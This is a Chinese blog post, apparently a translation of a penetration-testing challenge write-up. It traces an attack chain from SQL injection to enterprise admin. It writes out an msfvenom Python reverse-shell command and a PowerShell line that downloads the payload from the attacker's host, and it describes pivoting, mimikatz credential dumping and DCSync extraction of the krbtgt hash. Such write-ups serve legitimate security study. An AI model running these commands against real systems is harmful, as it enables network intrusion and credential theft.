?

Sep 22 2017

滲透筆記:如何通過SQL注入漏洞拿到系統的管理員權限

首頁 » 滲透測試 » 滲透筆記:如何通過SQL注入漏洞拿到系統的管理員權限   

前言

最近一段時間,我和Sudhanshu Chauhan一起參加了一個黑客挑戰大賽,比賽中有這樣一道有趣的題目:在只知道被滲透組織名稱的前提下,對目標組織執行滲透測試任務。經過一番的摸索,我們通過利用目標網站中的一個SQL注入漏洞成功的進入到了該組織的內網并獲取到目標網站的最高權限。本文將對我們是如何通過一個SQL注入漏洞獲取目標組織的最高管理權限的過程進行介紹,文中涉及到的滲透技術大體包括:OSINT、弱口令、密碼破解、不安全的配置、跳板攻擊(Pivoting)、繞過AV以及pwnage等。

滲透過程

有趣的是,比賽的初始階段是禁止我們進行枚舉操作的,因此在項目的開始階段我們采用被動方法來收集與目標相關的信息,這些方法主要包括獲取目標組織擁有的IP地址段,域名及其子域名,在github、pastebin以及其他第三方網站上檢索與目標組織相關的信息,使用shodan和其他一些OSINT技術去發現目標網站泄漏的敏感信息和服務信息。經過我們前期的被動收集信息,我們整理出了一份信息列表,之后我們綜合多種因素對前期獲取到的數據信息進行編輯和排名,這些因素主要有:泄露的證書、過時的軟件、暴露的服務等。根據整理出的資源信息列表,我們可以制定下一階段要使用的滲透方案。

在我們的資源信息列表中,我們發現其中一個排名靠前的網站存在一個SQL注入漏洞,通過使用SQLMap(添加“-is-dba”選項)工具,我們發現通過該SQL注入漏洞可以獲取到DBA級別的特權。在獲取到數據庫類型之后,我們成功的獲取到了sql shell。另外,我們還找到了一些數據庫用戶名和相關的密碼哈希值。通過使用#OneRuleToRuleThemAll,我們能夠破解一些哈希密碼。另外,由于在數據庫服務器上啟用了“xp_cmdshell”,因此我們能夠執行OS命令,這個可以通過OOB DNS調用了我們自定義的域名“xyz.abc.sos.notsosecure.com”來證實,具體如下圖所示:1.jpg

 

2.jpg

下一步,我們將通過交互式shell來執行代碼。一開始我們嘗試了多個meterpreter payloads,但幾乎都沒有奏效,之后我們使用多種滲透技術(例如ICMP tunnelling)不斷嘗試,最終通過xp_cmdshell獲取到一個交互式的ICMP shell,具體如下圖所示:

 

3.jpg

 

 

使用新獲得的ICMP shell,我們準備對目標系統進行進一步的滲透操作,我們在目標網站上搜尋有助于后滲透階段使用的信息,但由于ICMP shell不太穩定的原因,使用該shell我們并沒有找到任何有助于后滲透利用的信息數據。之后我們將注意力轉向目標系統本身,由于目標主機是Windows系統,因此我們嘗試去獲取一個powershell meterpreter的有效載荷。雖然我們成功獲取到了一個powershell,但在幾秒鐘之內就被檢測到了,并且終止了連接。之后我們通過枚舉操作,獲取到目標主機上運行的殺毒軟件的型號以及版本信息。在幾次試圖繞過殺毒軟件失敗之后,我們又繼續對目標上安裝的軟件執行枚舉操作,并確定目標主機上的確安裝了python。然后我們通過運行以下命令使用msfvenom生成了一個python meterpreter的有效載荷:

 

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=<OUR_HOST> LPORT=1234 > pypreter.py

上面的payload托管在我們的服務器上,之后我們通過指示受感染的服務器在ICMP shell中使用以下的Powershell命令來下載payloads:

powershell $WebRequest = New-Object System.Net.WebClient; $WebRequest.DownloadFile('http://<OUR_HOST>:8000/pypreter.py','C:WindowsTemppypreter.py')

我們啟動一個metasploit的/multi/handler模塊,以用來和之前創建的payload建立連接,然后我們通過ICMP shell執行了載荷,之后我們便獲取到了我們想要的meterpreter shell,如下圖所示:

 

 4.jpg

 

上述的meterpreter shell雖然比最初的ICMP shell穩定的多,但由于python meterpreter實現的局限性,大多數的meterpreter命令都沒有獲得預期的結果。于是我們從新獲得的python meterpreter shell出發,繼續在目標系統中執行枚舉操作。基于以往的經驗,我們將目標鎖定為網絡共享,因為殺毒軟件通常不會對網絡共享執行掃描操作。有趣的是,我們在目標系統中找到了一個網絡共享,并在那里放置了一個meterpreter payload。之后,我們開啟另一個metasploit的/multi/handler模塊,用于和meterpreter的有效載荷建立連接,并期望得到一個新的本地meterpreter shell。一旦我們擁有了這個meterpreter shell,那么就可以對目標系統做很多事情了。我們試圖用mimikatz工具來獲取明文密碼,但由于沒有人執行過登錄操作,并且本地的哈希也沒有在其他地方運行過,因此我們并沒有發現任何一個明文登錄密碼。但隨后我們發現目標主機有多個網絡接口,因此我們使用新獲得的meterpreter shell,在shell中輸入以下命令向內部網絡添加一條路由:

route add 10.0.1.0 255.255.252.0 1

在添加了路由之后,我們執行ARP掃描,并使用一個metasploit post exploitation 模塊來識別當前網絡上連接的主機。

然后,我們使用metasploit auxiliary 模塊對當前連接的主機進行端口掃描操作,以嘗試識別運行MSSQL的主機,掃描結果如下圖所示:

 

 5.jpg

 

 然后,我們使用“auxiliary/scanner/mssql/mssql_login”模塊以及先前破解得到的數據庫帳戶,以查看是否還有任何賬戶正在被目標系統使用,結果如下圖所示:

6.jpg

 

 

此時,我們發現一個帳戶在另外兩個主機上有效,并具有數據庫管理特權。在“auxiliary/admin/mssql/mssql_exec”模塊的幫助下,我們使用這個特權帳戶重新獲取到一個meterpreter shell運行,并且該shell具有SYSTME權限。之后我們發現這個主機運行的是Windows Server 2003操作系統,隨后我們dump了本地的哈希值,并使用Hashcat工具對獲取到的哈希值進行破解,最后使用meterpreter shell來dump域帳戶哈希,具體如下圖所示:

7.jpg

 

除此之外,我們還是用mimikatz工具從內存中dump明文密碼,如下圖所示:

 

8.jpg

 

經過進一步的分析之后,可以確定其中一個用戶是“企業管理員”,這讓我們可以直接訪問域控制器,并使用powershell腳本“invoke – massmimikatz.ps1”從其他主機中提取出了多個明文密碼。https://github.com/PowerShellEmpire/PowerTools/blob/master/PewPewPew/Invoke-MassMimikatz.ps1

此外,我們現在可以在域控制器上執行hashdump來獲取諸如“krbtgt”這樣的高權限帳戶的哈希值。在本文中,我們使用metasploit kiwi擴展中的“dcsync_ntlm”命令來提取krbtgt帳戶的哈希,具體如下圖所示。

 9.jpg

 

這樣整個滲透過程就此結束了,回顧一下整個滲透過程,我們是從web應用程序的SQL注入漏洞開始,一步一步的直到獲取目標站點管理員的多個登錄口令。整個攻擊流程圖如下所示:

10.jpg

 

總結

通過對整個滲透測試過程的回顧我們發現,其實任何一個漏洞對于企業來說都是至關重要的,因為任何微小的漏洞都可能會成為黑客潛入企業內部的突破口;另一個需要注意的是企業應該對公司內部的設備清單有一個清楚的列表,以能夠保障在出現漏洞時能夠及時的對存在漏洞的主機進行打補丁和升級操作。

原文地址:https://www.notsosecure.com/anatomy-of-a-hack-sqli-to-enterprise-admin/ 

 

bluesky 先知安全技術社區

 

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «通過PHP Session將LFI轉化為RCE | 我是如何通過CSRF拿到Shell的»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖